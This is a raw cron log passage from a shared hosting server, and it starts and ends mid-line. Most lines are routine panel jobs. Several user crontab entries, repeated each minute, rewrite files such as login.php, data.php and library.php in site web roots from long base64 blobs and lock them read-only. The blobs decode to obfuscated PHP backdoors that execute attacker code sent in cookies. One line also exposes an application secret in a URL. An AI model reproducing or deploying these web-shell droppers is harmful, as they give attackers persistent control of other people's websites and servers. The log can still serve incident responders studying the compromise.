chmod 444 "$fp")
Jun  7 12:44:01 medusa CROND[22719]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:45:01 medusa CROND[24213]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 12:45:01 medusa CROND[24220]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 12:45:01 medusa CROND[24224]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 12:45:01 medusa CROND[24229]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:45:01 medusa CROND[24230]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:45:01 medusa CROND[24231]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 12:45:01 medusa CROND[24232]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:45:01 medusa CROND[24233]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:45:01 medusa CROND[24234]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:45:01 medusa CROND[24240]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Jun  7 12:45:01 medusa CROND[24241]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:45:01 medusa CROND[24238]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 12:45:01 medusa CROND[24244]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:45:01 medusa CROND[24242]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 12:45:01 medusa CROND[24243]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 12:45:01 medusa CROND[24253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:45:01 medusa CROND[24254]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:45:01 medusa CROND[24251]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 12:45:01 medusa CROND[24259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:45:01 medusa CROND[24260]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 12:45:01 medusa CROND[24261]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 12:45:01 medusa CROND[24262]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:45:01 medusa CROND[24265]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 12:45:01 medusa CROND[24239]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 12:46:01 medusa CROND[25805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:46:01 medusa CROND[25806]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 12:46:01 medusa CROND[25813]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:46:01 medusa CROND[25814]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 12:46:01 medusa CROND[25815]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:46:01 medusa CROND[25816]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:46:01 medusa CROND[25817]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:46:01 medusa CROND[25818]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:46:01 medusa CROND[25822]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:46:01 medusa CROND[25825]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:46:01 medusa CROND[25826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:46:01 medusa CROND[25827]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:46:01 medusa CROND[25829]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:46:01 medusa CROND[25832]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:46:01 medusa CROND[25835]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 12:47:01 medusa CROND[27431]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 12:47:02 medusa CROND[27437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:47:02 medusa CROND[27438]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtI